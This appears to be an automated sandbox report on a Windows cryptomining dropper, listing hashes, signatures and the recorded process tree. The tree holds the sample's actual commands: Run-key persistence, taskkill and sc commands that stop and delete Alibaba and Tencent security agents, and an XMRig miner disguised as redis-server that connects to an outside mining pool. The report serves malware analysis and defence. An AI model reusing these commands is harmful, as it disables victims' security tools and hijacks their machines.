Analysis
-
max time kernel
23s -
max time network
123s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
04-05-2021 15:01
Static task
static1
Behavioral task
behavioral1
Sample
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe
Resource
win10v20210408
General
-
Target
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe
-
Size
569KB
-
MD5
c85e27470e88ad0d0449ab68ef18d0a3
-
SHA1
4791330c3acf353772c3d073cc52a619eb4cd7cc
-
SHA256
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f
-
SHA512
39bdcba7169b7b78353453ebfc72a8604272433b9bf2d043a231bec175f73a11b77bc93bcb45b85207cbafcd5c50bfa61ee0bd89314229c9b21de3ce8594ab01
Malware Config
Signatures
-
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1604-92-0x000000013F870000-0x00000001407DA000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
Processes:
htttp.exeredis-server.exepid process 1972 htttp.exe 1604 redis-server.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 2 IoCs
Processes:
htttp.exepid process 1972 htttp.exe 1944 -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
htttp.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\httpd.exe = "C:\\Windows\\htttp.exe" htttp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\httpd.exe = "C:\\Windows\\htttp.exe" htttp.exe -
Drops file in Windows directory 2 IoCs
Processes:
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exedescription ioc process File created C:\Windows\htttp.exe 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe File opened for modification C:\Windows\htttp.exe 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exepid process 1036 tasklist.exe 652 tasklist.exe 1832 tasklist.exe 1488 tasklist.exe -
Kills process with taskkill 10 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 568 taskkill.exe 1328 taskkill.exe 1980 taskkill.exe 1580 taskkill.exe 568 taskkill.exe 1452 taskkill.exe 1996 taskkill.exe 1676 taskkill.exe 1600 taskkill.exe 960 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 16 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exeredis-server.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1036 tasklist.exe Token: SeDebugPrivilege 652 tasklist.exe Token: SeDebugPrivilege 1832 tasklist.exe Token: SeDebugPrivilege 1488 tasklist.exe Token: SeDebugPrivilege 1980 taskkill.exe Token: SeDebugPrivilege 1580 taskkill.exe Token: SeDebugPrivilege 1996 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 1452 taskkill.exe Token: SeDebugPrivilege 1676 taskkill.exe Token: SeLockMemoryPrivilege 1604 redis-server.exe Token: SeLockMemoryPrivilege 1604 redis-server.exe Token: SeDebugPrivilege 1600 taskkill.exe Token: SeDebugPrivilege 960 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 1328 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exehtttp.execmd.exedescription pid process target process PID 1688 wrote to memory of 1972 1688 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe htttp.exe PID 1688 wrote to memory of 1972 1688 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe htttp.exe PID 1688 wrote to memory of 1972 1688 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe htttp.exe PID 1688 wrote to memory of 1972 1688 70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe htttp.exe PID 1972 wrote to memory of 1096 1972 htttp.exe cmd.exe PID 1972 wrote to memory of 1096 1972 htttp.exe cmd.exe PID 1972 wrote to memory of 1096 1972 htttp.exe cmd.exe PID 1972 wrote to memory of 1096 1972 htttp.exe cmd.exe PID 1096 wrote to memory of 1036 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1036 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1036 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1036 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 652 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 652 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 652 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 652 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1832 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1832 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1832 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1832 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1488 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1488 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1488 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1488 1096 cmd.exe tasklist.exe PID 1096 wrote to memory of 1980 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1980 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1980 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1980 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1580 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1580 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1580 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1580 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1996 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1996 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1996 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1996 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 568 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 568 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 568 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 568 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1452 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1452 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1452 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1452 1096 cmd.exe taskkill.exe PID 1096 wrote to memory of 1376 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1376 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1376 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1376 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1868 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1868 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1868 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1868 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1968 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1968 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1968 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1968 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1964 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1964 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1964 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1964 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1720 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1720 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1720 1096 cmd.exe sc.exe PID 1096 wrote to memory of 1720 1096 cmd.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe"C:\Users\Admin\AppData\Local\Temp\70f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\htttp.exe"C:\Windows\htttp.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\run.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI " IMAGENAME eq Ali_update.exe"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI " IMAGENAME eq aliyun_assist_service.exe"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI " IMAGENAME eq aliyun_assist_update.exe"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI " IMAGENAME eq aliyun_installer.exe"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM aliyun_assist_service.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM aliyun_assist_update.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM aliyun_installer.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ali_update.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM AliHids.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc stop "Alibaba Security Aegis Detect Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc stop "Alibaba Security Aegis Update Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Alibaba Security Aegis Detect Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Alibaba Security Aegis Update Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc stop "BaradAgentSvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc stop "StargateSvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc stop "QPCore"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "BaradAgentSvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "StargateSvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "QPCore"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM QQProtect.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sgagent.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM BaradAgent.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM YDLive.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM YDService.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\redis-server.exe"C:\Users\Admin\AppData\Local\Temp\redis-server.exe" -o pool.fuck-jp.ru:8888 --nicehash true3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\redis-server.exeMD5
0c4ae60bb07bd7c084ca66b844fa0b4b
SHA1ff2dbcdc44b7192e26a2a2ec32eb90a105a0db80
SHA25631cf37437a844eada2afd9c76a8f3b7f51f7b7d2e8bf87eea56beb5df6f1975e
SHA5125dc775a7f7e38ab77b85cc5484c767d888ce30c2373a1df6f5a1d239c99d2513f72ff2810b44315c47eb945f5c13d80dbf073e971cde29bf4675a8c0d5ced74d
-
C:\Users\Admin\AppData\Local\Temp\redis-server.exeMD5
0c4ae60bb07bd7c084ca66b844fa0b4b
SHA1ff2dbcdc44b7192e26a2a2ec32eb90a105a0db80
SHA25631cf37437a844eada2afd9c76a8f3b7f51f7b7d2e8bf87eea56beb5df6f1975e
SHA5125dc775a7f7e38ab77b85cc5484c767d888ce30c2373a1df6f5a1d239c99d2513f72ff2810b44315c47eb945f5c13d80dbf073e971cde29bf4675a8c0d5ced74d
-
C:\Users\Admin\AppData\Local\Temp\run.batMD5
f1cc668d01eeb779b1fc1044541fc1d4
SHA145bd782881b31eb2868fc211b19af2cb627a9d0d
SHA25662fdc9b8581a931ac987446ab4c8547bb9f94d9caf8e61c3d0d95ec033e73929
SHA512293263607a850f2bb6873924b6606b83c7ea0dbd9fa07c0d8958be9e64aa1b27e24a0cf213b89906b3919c32da3c265d3ae9df07430ab4441b7289b3e935c33e
-
C:\Windows\htttp.exeMD5
c85e27470e88ad0d0449ab68ef18d0a3
SHA14791330c3acf353772c3d073cc52a619eb4cd7cc
SHA25670f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f
SHA51239bdcba7169b7b78353453ebfc72a8604272433b9bf2d043a231bec175f73a11b77bc93bcb45b85207cbafcd5c50bfa61ee0bd89314229c9b21de3ce8594ab01
-
C:\Windows\htttp.exeMD5
c85e27470e88ad0d0449ab68ef18d0a3
SHA14791330c3acf353772c3d073cc52a619eb4cd7cc
SHA25670f512b436a0795fb3ae5c5c09e4a544d43d2c50e08c2f6ca797a4898a04193f
SHA51239bdcba7169b7b78353453ebfc72a8604272433b9bf2d043a231bec175f73a11b77bc93bcb45b85207cbafcd5c50bfa61ee0bd89314229c9b21de3ce8594ab01
-
\Users\Admin\AppData\Local\Temp\redis-server.exeMD5
0c4ae60bb07bd7c084ca66b844fa0b4b
SHA1ff2dbcdc44b7192e26a2a2ec32eb90a105a0db80
SHA25631cf37437a844eada2afd9c76a8f3b7f51f7b7d2e8bf87eea56beb5df6f1975e
SHA5125dc775a7f7e38ab77b85cc5484c767d888ce30c2373a1df6f5a1d239c99d2513f72ff2810b44315c47eb945f5c13d80dbf073e971cde29bf4675a8c0d5ced74d
-
\Users\Admin\AppData\Local\Temp\redis-server.exeMD5
0c4ae60bb07bd7c084ca66b844fa0b4b
SHA1ff2dbcdc44b7192e26a2a2ec32eb90a105a0db80
SHA25631cf37437a844eada2afd9c76a8f3b7f51f7b7d2e8bf87eea56beb5df6f1975e
SHA5125dc775a7f7e38ab77b85cc5484c767d888ce30c2373a1df6f5a1d239c99d2513f72ff2810b44315c47eb945f5c13d80dbf073e971cde29bf4675a8c0d5ced74d
-
memory/568-96-0x0000000000000000-mapping.dmp
-
memory/568-74-0x0000000000000000-mapping.dmp
-
memory/652-67-0x0000000000000000-mapping.dmp
-
memory/960-95-0x0000000000000000-mapping.dmp
-
memory/1036-89-0x0000000000000000-mapping.dmp
-
memory/1036-66-0x0000000000000000-mapping.dmp
-
memory/1096-64-0x0000000000000000-mapping.dmp
-
memory/1328-97-0x0000000000000000-mapping.dmp
-
memory/1340-82-0x0000000000000000-mapping.dmp
-
memory/1376-76-0x0000000000000000-mapping.dmp
-
memory/1388-90-0x0000000000000000-mapping.dmp
-
memory/1452-75-0x0000000000000000-mapping.dmp
-
memory/1488-70-0x0000000000000000-mapping.dmp
-
memory/1580-72-0x0000000000000000-mapping.dmp
-
memory/1600-94-0x0000000000000000-mapping.dmp
-
memory/1604-93-0x00000000001F0000-0x0000000000210000-memory.dmpFilesize
128KB
-
memory/1604-92-0x000000013F870000-0x00000001407DA000-memory.dmpFilesize
15.4MB
-
memory/1604-98-0x0000000000550000-0x0000000000570000-memory.dmpFilesize
128KB
-
memory/1604-99-0x0000000000570000-0x0000000000590000-memory.dmpFilesize
128KB
-
memory/1604-84-0x0000000000000000-mapping.dmp
-
memory/1676-91-0x0000000000000000-mapping.dmp
-
memory/1688-60-0x0000000075011000-0x0000000075013000-memory.dmpFilesize
8KB
-
memory/1720-80-0x0000000000000000-mapping.dmp
-
memory/1816-81-0x0000000000000000-mapping.dmp
-
memory/1832-69-0x0000000000000000-mapping.dmp
-
memory/1868-77-0x0000000000000000-mapping.dmp
-
memory/1964-79-0x0000000000000000-mapping.dmp
-
memory/1968-78-0x0000000000000000-mapping.dmp
-
memory/1972-61-0x0000000000000000-mapping.dmp
-
memory/1980-71-0x0000000000000000-mapping.dmp
-
memory/1988-86-0x0000000000000000-mapping.dmp
-
memory/1996-73-0x0000000000000000-mapping.dmp